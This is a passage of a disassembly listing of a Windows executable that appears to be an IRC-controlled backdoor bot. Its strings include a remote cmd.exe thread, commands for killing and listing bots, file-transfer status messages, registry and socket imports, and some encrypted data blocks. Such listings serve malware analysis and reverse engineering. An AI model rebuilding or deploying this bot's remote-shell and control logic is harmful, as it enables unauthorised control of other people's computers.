		mov	eax, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+10h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	esi, eax
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+8]
		test	esi, esi
		pop	esi
		jnz	short loc_416EA0
		lea	eax, [ebp-4]
		push	eax
		push	0
		call	dword_4171C8
		test	eax, eax
		jz	short loc_416EA0
		and	dword ptr [ebp-4], 0


loc_416EA0:				; CODE XREF: cAddress:00416E5Bj
					; cAddress:00416E6Dj ...
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+8]
		call	sub_416EAF
		leave
		retn	0Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416EAF	proc near		; CODE XREF: cAddress:00416EA6p

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416ED3
		lea	eax, [ebp+var_10]
		push	offset dword_4173B8
		push	eax
		call	sub_416FA2	; _CxxThrowException
sub_416EAF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416ED3	proc near		; CODE XREF: sub_416EAF+11p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		and	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	eax, [esp+4+arg_4]
		mov	dword ptr [esi], offset	off_4172B4
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_416EFF
		cmp	[esp+4+arg_8], 0
		jz	short loc_416EFF
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_416EFF:				; CODE XREF: sub_416ED3+1Dj
					; sub_416ED3+24j
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_416ED3	endp

; ---------------------------------------------------------------------------
byte_416F05	db 56h,	8Bh, 0F1h	; DATA XREF: cAddress:off_4172B4o
dword_416F08	dd 41E8h, 2444F600h, 7740108h, 0FEB2E856h, 8B59FFFFh, 4C25EC6h
		dd 24448B00h, 0F18B5604h, 8904488Bh, 408B044Eh,	0C668308h
		dd 8468900h, 6C7C085h, 4172B4h,	88B0674h, 451FF50h, 0C25EC68Bh
		dd 8B560004h, 8468BF1h,	72B406C7h, 0C0850041h, 88B0674h
		dd 851FF50h, 850C768Bh,	560774F6h, 70B015FFh, 0C35E0041h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416F74	proc near		; CODE XREF: cAddress:00401364p
					; sub_406E8E+DAp ...
		jmp	dword_4171C0
sub_416F74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416F7A	proc near		; CODE XREF: cAddress:004021D5p
					; cAddress:00403AE9p ...
		jmp	dword_417114
sub_416F7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416F80	proc near		; CODE XREF: cAddress:00402AFEp
					; cAddress:00402CEBp ...
		jmp	dword_417118
sub_416F80	endp

; ---------------------------------------------------------------------------
word_416F86	dw 8B56h		; DATA XREF: cAddress:off_4172BCo
		dd 1AE8F1h, 44F60000h, 74010824h, 31E85607h, 59FFFFFEh
		dd 0C25EC68Bh
		db 4, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416FA2	proc near		; CODE XREF: sub_416EAF+1Fp
		jmp	dword_41711C
sub_416FA2	endp

; ---------------------------------------------------------------------------
dword_416FA8	dd 712025FFh, 0CCCC0041h, 0F6008D8Dh, 84E8FFFFh, 0C3FFFFEBh
		dd 0E8F04D8Dh, 0FFFFEB7Bh, 88D8DC3h, 0E8FFFFF2h, 0FFFFEB6Fh
		dd 0EC8D8DC3h, 0E8FFFFF1h, 0FFFFEB63h, 7350B8C3h, 21E90041h
		dd 0FFFFFEh, 6 dup(0)
dword_417000	dd 77DD7F3Eh		; DATA XREF: sub_401000+C6r
dword_417004	dd 77DD5C55h		; DATA XREF: sub_401000+11Ar
					; sub_406C51+96r
dword_417008	dd 77DD22EAh		; DATA XREF: sub_401000+65r
					; sub_406722+184r ...
dword_41700C	dd 77DD23D7h		; DATA XREF: sub_406722+1C3r
					; cAddress:0040868Ar ...
dword_417010	dd 77DD59F0h		; DATA XREF: sub_406C51+88r
dword_417014	dd 77DD590Bh		; DATA XREF: sub_406C51+26r
dword_417018	dd 77DDACABh		; DATA XREF: cAddress:00408493r
dword_41701C	dd 77DE042Eh		; DATA XREF: sub_4102AE+62r
dword_417020	dd 77DE03D2h		; DATA XREF: sub_4102AE+27r
					; sub_4102AE+37r ...
dword_417024	dd 77DDEBA2h		; DATA XREF: sub_4102AE+17r
dword_417028	dd 77DD189Ah		; DATA XREF: sub_401000+136r
					; sub_406722+2F9r ...
		align 10h
dword_417030	dd 77E7C657h		; DATA XREF: cAddress:004084CBr
					; sub_40D043+20Br ...
dword_417034	dd 77E7513Ch		; DATA XREF: sub_408342+10r
					; sub_408342+4Br
dword_417038	dd 77E705C5h		; DATA XREF: sub_406D47+41r
dword_41703C	dd 77E74672h		; DATA XREF: sub_406C51+6Fr
dword_417040	dd 77E705B0h		; DATA XREF: sub_406B81+15r
dword_417044	dd 77E7A837h		; DATA XREF: sub_406B81+47r
					; sub_406B81+95r ...
dword_417048	dd 77E73CE2h		; DATA XREF: sub_406B81+6Er
dword_41704C	dd 77E7011Ah		; DATA XREF: sub_406B81+BCr
dword_417050	dd 77E704FCh		; DATA XREF: sub_406A23+15r
					; sub_406AE7+15r ...
dword_417054	dd 77E805D8h		; DATA XREF: sub_403BD3+Br
					; sub_403BD3+32r ...
dword_417058	dd 77E7A5FDh		; DATA XREF: sub_403BD3+22r
					; sub_403BD3+4Dr ...
dword_41705C	dd 77E75CB5h		; DATA XREF: cAddress:00403552r
					; sub_407148+18Br ...
dword_417060	dd 77E6BD13h		; DATA XREF: cAddress:00402B1Er
					; sub_406E8E+1FEr
dword_417064	dd 77F5157Dh		; DATA XREF: cAddress:00402B28r
					; sub_409CB1+CFr ...
dword_417068	dd 77E79D8Ch		; DATA XREF: sub_401D39+22r
					; sub_406D90+D3r
dword_41706C	dd 77E6CBF9h		; DATA XREF: cAddress:004019D0r
dword_417070	dd 77E7727Ah		; DATA XREF: cAddress:00401A1Fr
					; cAddress:00401A58r
dword_417074	dd 77E79C90h		; DATA XREF: cAddress:00401A85r
					; cAddress:00401A92r
dword_417078	dd 77E65F4Ch		; DATA XREF: cAddress:004084A7r
dword_41707C	dd 77E61BB8h		; DATA XREF: cAddress:00401B47r
					; sub_406E8E+2A5r
dword_417080	dd 77EB7624h		; DATA XREF: cAddress:00401BF5r
dword_417084	dd 77E7FF65h		; DATA XREF: cAddress:00401C34r
dword_417088	dd 77E78B82h		; DATA XREF: cAddress:00401CFCr
dword_41708C	dd 77E79F93h		; DATA XREF: cAddress:00401336r
					; cAddress:004034FBr ...
dword_417090	dd 77E7A099h		; DATA XREF: cAddress:0040133Dr
					; cAddress:00403502r ...
dword_417094	dd 77E706B7h		; DATA XREF: cAddress:0040139Dr
					; sub_406041+193r ...
dword_417098	dd 77E61A54h		; DATA XREF: cAddress:00401461r
					; sub_406509+91r
dword_41709C	dd 77E61BE6h		; DATA XREF: cAddress:0040160Ar
					; cAddress:00401738r ...
dword_4170A0	dd 77E616B4h		; DATA XREF: cAddress:0040167Dr
					; sub_406643+3Br
dword_4170A4	dd 77E77963h		; DATA XREF: cAddress:004016B5r
					; cAddress:00401705r ...
dword_4170A8	dd 77E70396h		; DATA XREF: sub_401146+11r
					; sub_406E8E+22Ar ...
dword_4170AC	dd 77E73628h		; DATA XREF: sub_401146+23r
					; cAddress:00401E68r ...
		dd 77E79A45h
dword_4170B4	dd 77E7AC37h		; DATA XREF: sub_40A1A7+106r
dword_4170B8	dd 77E75090h		; DATA XREF: sub_40D74D+87r
dword_4170BC	dd 77E74D76h		; DATA XREF: sub_40D74D+4Ar
dword_4170C0	dd 77E77797h		; DATA XREF: sub_40D74D+33r
dword_4170C4	dd 77E76C1Ah		; DATA XREF: cAddress:004083E0r
dword_4170C8	dd 77E686CCh		; DATA XREF: sub_408E8E+4Br
					; cAddress:00409062r
dword_4170CC	dd 77E6C0E3h		; DATA XREF: sub_408E8E+1Ar
					; cAddress:00408FADr ...
dword_4170D0	dd 77E7751Ah		; DATA XREF: sub_409226:loc_40928Er
					; sub_4092A4:loc_409307r ...
dword_4170D4	dd 77E6D75Bh		; DATA XREF: sub_409226+14r
					; sub_4092A4+14r ...
dword_4170D8	dd 77E802FCh		; DATA XREF: sub_409226+Ar
					; sub_4092A4+Ar ...
dword_4170DC	dd 77E7176Ch		; DATA XREF: cAddress:00409407r
dword_4170E0	dd 77E75CEBh		; DATA XREF: sub_4098F3+A2r
					; sub_4098F3+1B6r
dword_4170E4	dd 77E79908h		; DATA XREF: sub_409C36+2Er
dword_4170E8	dd 77E80656h		; DATA XREF: cAddress:0040131Br
					; sub_406643+19r
dword_4170EC	dd 77F7E21Fh		; DATA XREF: sub_409C6C+6r
dword_4170F0	dd 77E79CE3h		; DATA XREF: cAddress:00401A99r
dword_4170F4	dd 77E78C17h		; DATA XREF: cAddress:00416822r
dword_4170F8	dd 77E7C2C4h		; DATA XREF: cAddress:00416899r
		dd 77E73167h, 77E73BEFh
dword_417104	dd 77E7AC5Eh		; DATA XREF: sub_4148CE+B0r
dword_417108	dd 77E76432h		; DATA XREF: sub_40D871+29Br
dword_41710C	dd 77F7E300h		; DATA XREF: sub_409C7A+6r
		dd 0
dword_417114	dd 77C1C055h		; DATA XREF: sub_416F7Ar
dword_417118	dd 77C423F5h		; DATA XREF: sub_416F80r
dword_41711C	dd 77C219F5h		; DATA XREF: sub_416FA2r
		dd 77C20C5Bh, 77C21AD8h
dword_417128	dd 77C43150h		; DATA XREF: sub_416E02r
dword_41712C	dd 77C41FA0h		; DATA XREF: sub_416B3Ar
dword_417130	dd 77C33FDEh		; DATA XREF: sub_416DFCr
dword_417134	dd 77C33FC1h		; DATA XREF: sub_416DF6r
dword_417138	dd 77C3CE0Ch		; DATA XREF: sub_416DF0r
dword_41713C	dd 77C42D60h		; DATA XREF: sub_416DEAr
dword_417140	dd 77C1C6F3h		; DATA XREF: sub_416DE4r
dword_417144	dd 77C435C0h		; DATA XREF: sub_416DDEr
dword_417148	dd 77C3E5D9h		; DATA XREF: sub_416DD8r
dword_41714C	dd 77C28925h		; DATA XREF: sub_416DD2r
dword_417150	dd 77C28933h		; DATA XREF: sub_416DCCr
dword_417154	dd 77C3CCE7h		; DATA XREF: sub_416DC6r
dword_417158	dd 77C37FEDh		; DATA XREF: sub_416DC0r
dword_41715C	dd 77C33EB0h		; DATA XREF: cAddress:00416DBCo
dword_417160	dd 77C4B940h		; DATA XREF: sub_416CFEr
dword_417164	dd 77C4B120h		; DATA XREF: sub_416CF8r
dword_417168	dd 77C37ADCh		; DATA XREF: sub_416BFCr
dword_41716C	dd 77C2AC58h		; DATA XREF: sub_416BF6r
dword_417170	dd 77C438C0h		; DATA XREF: sub_416BF0r
dword_417174	dd 77C3C93Ch		; DATA XREF: sub_416BAEr
dword_417178	dd 77C43AB0h		; DATA XREF: sub_416BA8r
dword_41717C	dd 77C3E8C0h		; DATA XREF: sub_416BA2r
dword_417180	dd 77C1BE00h		; DATA XREF: sub_416B9Cr
dword_417184	dd 77C3E140h		; DATA XREF: sub_416B96r
dword_417188	dd 77C3DFB5h		; DATA XREF: sub_416B90r
dword_41718C	dd 77C3BF06h		; DATA XREF: sub_416B88r
dword_417190	dd 77C3D8F6h		; DATA XREF: sub_416B82r
dword_417194	dd 77C3E4B9h		; DATA XREF: sub_416B7Cr
dword_417198	dd 77C3E303h		; DATA XREF: sub_416B76r
dword_41719C	dd 77C41FB0h		; DATA XREF: sub_416B70r
dword_4171A0	dd 77C43490h		; DATA XREF: sub_416B6Ar
dword_4171A4	dd 77C46553h		; DATA XREF: sub_416B64r
dword_4171A8	dd 77C3C813h		; DATA XREF: sub_416B5Er
dword_4171AC	dd 77C43900h		; DATA XREF: sub_416B58r
dword_4171B0	dd 77C42E10h		; DATA XREF: sub_416B52r
dword_4171B4	dd 77C2AA6Bh		; DATA XREF: sub_416B4Cr
dword_4171B8	dd 77C2AC46h		; DATA XREF: sub_416B46r
dword_4171BC	dd 77C43710h		; DATA XREF: sub_416B40r
dword_4171C0	dd 77C421A2h		; DATA XREF: sub_416F74r
		align 8
dword_4171C8	dd 7713BC68h		; DATA XREF: cAddress:00416E92r
		align 10h
dword_4171D0	dd 77428B97h		; DATA XREF: sub_401D6E+2Dr
					; cAddress:004031CDr ...
		align 8
dword_4171D8	dd 77D4456Bh		; DATA XREF: sub_40A9CF+121r
		dd 77D79D1Ch
dword_4171E0	dd 77D4C96Ah		; DATA XREF: sub_406D90+B0r
					; cAddress:004090FFr ...
dword_4171E4	dd 77D5C13Ah		; DATA XREF: sub_40A9CF+128r
					; cAddress:00415BE4r
dword_4171E8	dd 77D4BDCAh		; DATA XREF: sub_40D734+Br
dword_4171EC	dd 77D4702Fh		; DATA XREF: sub_40D74D+6Cr
					; sub_40D74D+7Er
		dd 0
dword_4171F4	dd 71AB3E5Dh		; DATA XREF: sub_404FE7+C5r
					; sub_4050EA+106r ...
dword_4171F8	dd 71AB1B7Bh		; DATA XREF: sub_416E30r
dword_4171FC	dd 71AB868Dh		; DATA XREF: sub_4048EF+11Er
					; sub_4048EF+39Fr
dword_417200	dd 71AB8629h		; DATA XREF: sub_40538D+8r
					; sub_412A3A+178r ...
dword_417204	dd 71AB3F8Dh		; DATA XREF: sub_4046BC+114r
					; cAddress:00405660r ...
dword_417208	dd 71AB3ECEh		; DATA XREF: sub_4046BC+129r
					; cAddress:00411EA4r ...
dword_41720C	dd 71AB1AF4h		; DATA XREF: sub_4053BF+Fr
					; sub_40A9CF+1A74r
dword_417210	dd 71ABF628h		; DATA XREF: sub_4044F7+21r
					; sub_4045B2+21r
dword_417214	dd 71AB155Ah		; DATA XREF: sub_404457+1Cr
					; sub_40447B+10r
dword_417218	dd 71AB3C22h		; DATA XREF: sub_40432E+Ar
					; sub_4046BC+CEr ...
dword_41721C	dd 71AB401Ch		; DATA XREF: cAddress:0040392Cr
					; cAddress:004074D5r ...
dword_417220	dd 71ABD755h		; DATA XREF: cAddress:0040398Ar
					; cAddress:00403A2Br ...
dword_417224	dd 71AB1740h		; DATA XREF: cAddress:0040399Fr
					; cAddress:00403A40r ...
dword_417228	dd 71ABD850h		; DATA XREF: cAddress:00403B47r
dword_41722C	dd 71AB1890h		; DATA XREF: sub_4048EF+265r
					; sub_404E1C+E0r ...
dword_417230	dd 71AB1A6Dh		; DATA XREF: sub_4053B1+6r
					; sub_40A9CF+1A80r ...
dword_417234	dd 71AB350Dh		; DATA XREF: cAddress:004035ABr
					; cAddress:004035D2r ...
dword_417238	dd 71AB1746h		; DATA XREF: cAddress:00403642r
					; cAddress:00403786r ...
dword_41723C	dd 71AB2BBFh		; DATA XREF: cAddress:004036D9r
					; cAddress:004056D8r ...
dword_417240	dd 71AB157Eh		; DATA XREF: cAddress:0040217Br
					; sub_40449C+21r ...
dword_417244	dd 71AB12F8h		; DATA XREF: cAddress:004022BCr
					; cAddress:004056C2r ...
dword_417248	dd 71AB5690h		; DATA XREF: cAddress:00401F3Er
					; sub_4053DC+27r ...
dword_41724C	dd 71AB12A7h		; DATA XREF: cAddress:00401F79r
					; cAddress:004022C3r
dword_417250	dd 71AB1ED3h		; DATA XREF: cAddress:00405DD7r
					; cAddress:00412137r ...
dword_417254	dd 71AB1836h		; DATA XREF: sub_406E8E+2ABr
					; sub_407148+183r ...
dword_417258	dd 71AB1444h		; DATA XREF: cAddress:00412066r
dword_41725C	dd 71AB14DCh		; DATA XREF: cAddress:004160C0r
dword_417260	dd 71AB32CAh		; DATA XREF: cAddress:00415FEAr
dword_417264	dd 71AB41DAh		; DATA XREF: cAddress:004169F2r
dword_417268	dd 71AB5DE2h		; DATA XREF: sub_4046BC+14Dr
		align 10h
flt_417270	dd 1.0e3		; DATA XREF: cAddress:0040203Fr
					; cAddress:00402067r ...
flt_417274	dd 1.024e3		; DATA XREF: cAddress:00408DD2r
dword_417278	dd 0FFFFFFFFh, 409449h,	40945Fh, 0 ; DATA XREF:	cAddress:004093BBo
dword_417288	dd 0FFFFFFFFh, 409572h,	40958Ah, 0 ; DATA XREF:	cAddress:004094EBo
dword_417298	dd 0FFFFFFFFh, 416AE7h,	416AFDh, 0 ; DATA XREF:	cAddress:004167F6o
		dd offset aHhA		; "hhÝA"
		dd offset dword_416ACC+0Fh
		dd offset dword_4172F0
off_4172B4	dd offset byte_416F05	; DATA XREF: sub_416ED3+12o
		dd offset dword_417338
off_4172BC	dd offset word_416F86	; DATA XREF: cAddress:off_41DDB0o
					; cAddress:off_41DDD0o
off_4172C0	dd offset off_41DDB0	; DATA XREF: cAddress:004172D8o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_4172C0
dword_4172DC	dd 3 dup(0)		; DATA XREF: cAddress:00417300o
		dd 1, 4172D8h
dword_4172F0	dd 3 dup(0)		; DATA XREF: cAddress:004172B0o
		dd offset off_41DDB0
		dd offset dword_4172DC+4
		align 8
off_417308	dd offset off_41DDD0	; DATA XREF: cAddress:00417320o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_417308
		dd 0
		db    0			; DATA XREF: cAddress:00417348o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 417320h
dword_417338	dd 3 dup(0)		; DATA XREF: cAddress:004172B8o
		dd offset off_41DDD0
		dd offset unk_417328
		align 10h
		dd 19930520h, 4, 417370h, 5 dup(0)
		dd 0FFFFFFFFh, 416FB0h,	0
		dd offset dword_416FA8+14h
		dd 1, 416FC5h, 2, 416FD1h, 0
		dd offset off_41DDB0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 10h,	416F21h, 0
dword_4173B0	dd 1, 417390h		; DATA XREF: cAddress:004173C4o
dword_4173B8	dd 0			; DATA XREF: sub_416EAF+19o
		dd offset dword_416F08+46h
		dd 0
		dd offset dword_4173B0
		dd 3 dup(0)
		dd 17876h, 17114h, 3 dup(0)
		dd 1788Eh, 171F4h, 3 dup(0)
		dd 17C70h, 17030h, 3 dup(0)
		dd 17CE6h, 171D8h, 3 dup(0)
		dd 17DBAh, 17000h, 3 dup(0)
		dd 17DD8h, 171D0h, 3 dup(0)
		dd 17E3Eh, 171C8h, 0A1h	dup(0)
		dd 74730000h, 79706372h, 0
aStrlen		db 'strlen',0
		align 4
		dd 616D0000h, 636F6C6Ch, 0
aFree_0		db 'free',0
		align 10h
aMemcpy		db 'memcpy',0
		align 4
		dd 74730000h, 70636E72h, 79h, 69727073h, 66746Eh, 6C630000h
		dd 6B636Fh, 656D0000h, 7465736Dh, 0
aStrcat		db 'strcat',0
		align 4
		dd 74660000h, 6C6C65h, 77660000h, 65746972h, 0
aFclose		db 'fclose',0
		align 4
		dd 6F660000h, 6E6570h, 72660000h, 646165h, 73660000h, 6B6565h
		dd 74610000h, 696Fh, 73730000h,	666E6163h, 0
aStrstr		db 'strstr',0
		align 4
		dd 735F0000h, 6972706Eh, 66746Eh, 74730000h, 6D636E72h
		dd 70h,	6C616572h, 636F6Ch, 78650000h, 7469h, 665F0000h
		dd 6C6F74h, 65630000h, 6C69h, 655F0000h, 70656378h, 61685F74h
		dd 656C646Eh, 3372h, 625F0000h,	6E696765h, 65726874h, 78656461h
		dd 0
aVsprintf	db 'vsprintf',0
		align 4
a??3@yaxpax@z	db '??3@YAXPAX@Z',0
		align 4
a??2@yapaxi@z	db '??2@YAPAXI@Z',0
		align 4
aPrintf		db 'printf',0
		align 4
		dd 74730000h, 706D6372h, 0
aTolower	db 'tolower',0
		dd 656D0000h, 706D636Dh, 0
a_vsnprintf	db '_vsnprintf',0
		align 4
		dd 725F0000h, 6C746Fh, 725F0000h, 72746Fh, 656D0000h, 766F6D6Dh
		dd 65h,	78435F5Fh, 61724678h, 6148656Dh, 656C646Eh, 534D0072h
		dd 54524356h, 6C6C642Eh, 0
aWsaioctl	db 'WSAIoctl',0
		align 2
aWs2_32_dll_0	db 'WS2_32.dll',0
		align 4
aDeletefilea	db 'DeleteFileA',0
		dd 65530000h, 6C694674h, 74744165h, 75626972h, 41736574h
		dd 0
aClosehandle	db 'CloseHandle',0
		dd 65540000h, 6E696D72h, 50657461h, 65636F72h, 7373h, 6C530000h
		dd 706565h, 65520000h, 72506461h, 7365636Fh, 6D654D73h
		dd 79726Fh, 704F0000h, 72506E65h, 7365636Fh, 73h, 4D746547h
		dd 6C75646Fh, 6C694665h, 6D614E65h, 4165h, 65470000h, 646F4D74h
		dd 48656C75h, 6C646E61h, 4165h,	65470000h, 72754374h, 746E6572h
		dd 636F7250h, 49737365h, 64h, 64616552h, 656C6946h, 0
aGetexitcodepro	db 'GetExitCodeProcess',0
		align 4
		dd 65500000h, 614E6B65h, 5064656Dh, 657069h, 72430000h
		dd 65746165h, 636F7250h, 41737365h, 0
aDuplicatehandl	db 'DuplicateHandle',0
		dd 65470000h, 72754374h, 746E6572h, 636F7250h, 737365h
		dd 72430000h, 65746165h, 65706950h, 0
aSearchpatha	db 'SearchPathA',0
		dd 72570000h, 46657469h, 656C69h, 65470000h, 73614C74h
		dd 72724574h, 726Fh, 6F430000h,	69467970h, 41656Ch, 78450000h
		dd 72507469h, 7365636Fh, 73h, 50746547h, 41636F72h, 65726464h
		dd 7373h, 6F4C0000h, 694C6461h,	72617262h, 4179h, 65470000h
		dd 73795374h, 446D6574h, 63657269h, 79726F74h, 41h, 46746553h
		dd 54656C69h, 656D69h, 65470000h, 6C694674h, 6D695465h
		dd 65h,	61657243h, 69466574h, 41656Ch, 65470000h, 6E695774h
		dd 73776F64h, 65726944h, 726F7463h, 4179h, 736C0000h, 656C7274h
		dd 416Eh, 65530000h, 72754374h,	746E6572h, 65726944h, 726F7463h
		dd 4179h, 65470000h, 636F4C74h,	49656C61h, 416F666Eh, 0
aGetversionexa	db 'GetVersionExA',0
		align 4
aGetcomputernam	db 'GetComputerNameA',0
		align 4
aGlobalmemoryst	db 'GlobalMemoryStatus',0
		align 10h
		dd 65470000h, 73694474h, 6572466Bh, 61705365h, 78456563h
		dd 41h,	44746547h, 65766972h, 65707954h, 41h, 54746547h
		dd 436B6369h, 746E756Fh, 0
aQueryperforman	db 'QueryPerformanceFrequency',0
		align 4
aQueryperform_0	db 'QueryPerformanceCounter',0
		dd 73490000h, 43646142h, 5065646Fh, 7274h, 65540000h, 6E696D72h
		dd 54657461h, 61657268h, 64h, 74696E49h, 696C6169h, 7243657Ah
		dd 63697469h, 65536C61h, 6F697463h, 6Eh, 65746E45h, 69724372h
		dd 61636974h, 6365536Ch, 6E6F6974h, 0
aLeavecriticals	db 'LeaveCriticalSection',0
		align 4
aCreatethread	db 'CreateThread',0
		align 4
aUnmapviewoffil	db 'UnmapViewOfFile',0
		dd 614D0000h, 65695670h, 46664F77h, 656C69h, 72430000h
		dd 65746165h, 656C6946h, 7070614Dh, 41676E69h, 0
aLstrcmpa	db 'lstrcmpA',0
		align 10h
aGetenvironment	db 'GetEnvironmentVariableA',0
		dd 736C0000h, 70637274h, 416E79h, 736C0000h, 70637274h
		dd 4179h, 72430000h, 65746165h,	6574754Dh, 4178h, 65530000h
		dd 72724574h, 6F4D726Fh, 6564h,	4E52454Bh, 32334C45h, 6C6C642Eh
		dd 0
aWsprintfa	db 'wsprintfA',0
		align 4
aGetwindowtexta	db 'GetWindowTextA',0
		align 4
		dd 65470000h, 726F4674h, 6F726765h, 57646E75h, 6F646E69h
		dd 77h,	646E6946h, 646E6957h, 41776Fh, 65530000h, 654D646Eh
		dd 67617373h, 4165h, 73490000h,	72616843h, 68706C41h, 6D754E61h
		dd 63697265h, 53550041h, 32335245h, 6C6C642Eh, 0
aRegclosekey	db 'RegCloseKey',0
		dd 65520000h, 6C654467h, 56657465h, 65756C61h, 41h, 45676552h
		dd 566D756Eh, 65756C61h, 41h, 4F676552h, 4B6E6570h, 78457965h
		dd 41h,	51676552h, 79726575h, 756C6156h, 41784565h, 0
aRegsetvalueexa	db 'RegSetValueExA',0
		align 4
		dd 65520000h, 65724367h, 4B657461h, 78457965h, 41h, 55746547h
		dd 4E726573h, 41656D61h, 0
aCryptreleaseco	db 'CryptReleaseContext',0
		dd 72430000h, 47747079h, 61526E65h, 6D6F646Eh, 0
aCryptacquireco	db 'CryptAcquireContextA',0
		align 2
aAdvapi32_dll	db 'ADVAPI32.dll',0
		align 4
		dd 68530000h, 456C6C65h, 75636578h, 416574h, 4C454853h
		dd 2E32334Ch, 6C6C64h, 735F0000h, 6D637274h, 6970h, 695F0000h
		dd 616F74h, 735F0000h, 696E7274h, 706D63h, 435F0000h, 68547878h
		dd 45776F72h, 70656378h, 6E6F6974h, 0
a??1type_info@@	db '??1type_info@@UAE@XZ',0
		align 4
aLocalfree	db 'LocalFree',0
aOleaut32_dll	db 'OLEAUT32.dll',0
		align 4
		dd 6Dh dup(0)
off_418000	dd offset dword_418098	; DATA XREF: sub_401000+1Dr
					; sub_401000+2Er
		dd offset dword_41805C
		dd offset dword_418040
		dd offset dword_418014
		dd 0
dword_418014	dd 0C5BCA58Ch, 0E1CEC1C6h, 0AB9AFEA0h, 0EF83EDA3h, 0FE9D88B1h
					; DATA XREF: cAddress:0041800Co
		dd 0D6F7DFEFh, 0A087CF89h, 0ECAFEBB9h, 0F09CB083h, 2 dup(0)
dword_418040	dd 0E589938Ch, 0C7E0EDF4h, 0AD81C189h, 0EFB3F6BFh, 0DEB388B9h
					; DATA XREF: cAddress:00418008o
		dd 0C9CFh, 0
dword_41805C	dd 0E589938Ch, 0C7E0EDF4h, 0AD81C189h, 0EFB3F6BFh, 0C6B388B9h
					; DATA XREF: cAddress:00418004o
		dd 0CDF6E2EAh, 8DB4FFA2h, 0E5B2EBB8h, 0F4B988B1h, 0CDFBFFF1h
		dd 0BBBAD0BBh, 0F2A5CAA3h, 0F48C95A9h, 0F0h, 0
dword_418098	dd 0E589938Ch, 0C7E0EDF4h, 0AD81C189h, 0EFB3F6BFh, 0C6B388B9h
					; DATA XREF: cAddress:off_418000o
		dd 0CDF6E2EAh, 8DB4FFA2h, 0E5B2EBB8h, 0F4B988B1h, 0CDFBFFF1h
		dd 0BBBAD0BBh, 0A3h, 0
dword_4180CC	dd 2343003h, 2037525h, 746F6220h, 20297328h, 6E756F66h
					; DATA XREF: cAddress:00401771o
		dd 69772064h, 73206874h, 6E697274h, 30032067h, 73250234h
		dd 2E0203h
dword_4180F8	dd 62206F4Eh, 2073746Fh, 6E756F66h, 69772064h, 73206874h
					; DATA XREF: cAddress:0040174Eo
		dd 6E697274h, 30032067h, 73250234h, 2E0203h
dword_41811C	dd 6E756F66h, 74732064h, 676E6972h, 34300320h, 3732502h
					; DATA XREF: cAddress:00401656o
		dd 6E692002h, 20732520h, 34300328h, 3692502h, 2902h
dword_418144	dd 3430032Dh, 3752502h,	4C202D02h, 69747369h, 6220676Eh
					; DATA XREF: cAddress:00401289o
		dd 2073746Fh, 68746977h, 72747320h, 20676E69h, 2343003h
		dd 2037325h, 3Ah
dword_418174	dd 62207325h, 2073746Fh, 68746977h, 72747320h, 20676E69h
					; DATA XREF: sub_4017AA+93o
		dd 2343003h, 2037325h, 0
aKilling	db 'Killing',0          ; DATA XREF: sub_4017AA:loc_401830o
aListing	db 'Listing',0          ; DATA XREF: sub_4017AA+7Do
dword_4181A4	dd 303h			; DATA XREF: sub_4018AF:loc_401942o
aCmd_exeProcess	db 'Cmd.exe process has terminated.',0 ; DATA XREF: cAddress:00401C4Ao
aCouldNotReadDa	db 'Could not read data from process.',0 ; DATA XREF: cAddress:00401BFFo
		align 4
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: cAddress:004019C9o
aErrorWhileExec	db 'Error while executing command.',0 ; DATA XREF: sub_401D6E+B9o
		align 4
asc_418214	db 0Dh,0Ah,0		; DATA XREF: sub_401D6E:loc_401E0Bo
					; cAddress:00403F7Fo ...
		align 4
aRemoteCmdThrea	db 'Remote cmd thread',0 ; DATA XREF: sub_401D6E+7Eo
		align 4
aOpen		db 'open',0             ; DATA XREF: sub_401D6E+26o
					; cAddress:004031C6o ...
		align 4
dword_418234	dd 65636552h, 64657669h, 34300320h, 3732502h, 72662002h
					; DATA XREF: cAddress:00402080o
		dd 3206D6Fh, 25023430h,	20020373h, 3206E69h, 25023430h
		dd 66322E30h, 65730203h, 69772063h, 3206874h, 25023430h
		dd 66332E30h, 424B0203h, 6365732Fh, 0
dword_418280	dd 3430032Dh, 3752502h,	52202D02h, 69656365h, 676E6976h
					; DATA XREF: cAddress:00401F04o
		dd 34300320h, 3732502h,	72662002h, 3206D6Fh, 25023430h
		dd 20373h
dword_4182AC	dd 6277h		; DATA XREF: cAddress:00401E6Eo
					; sub_402698:loc_40288Eo ...
dword_4182B0	dd 746E6553h, 34300320h, 3732502h, 6F742002h, 34300320h
					; DATA XREF: cAddress:004024A3o
		dd 3732502h, 6E692002h,	34300320h, 2E302502h, 2036632h
		dd 20636573h, 68746977h, 34300320h, 2E302502h, 2036633h
		dd 732F424Bh, 6365h
dword_4182F4	dd 6E617254h, 72656673h, 20666F20h, 2343003h, 2037325h
					; DATA XREF: cAddress:004023D5o
		dd 206F7420h, 2343003h,	2037325h, 6E616320h, 6C6C6563h
		dd 6465h
dword_418320	dd 3430032Dh, 3752502h,	53202D02h, 69646E65h, 320676Eh
					; DATA XREF: cAddress:00402350o
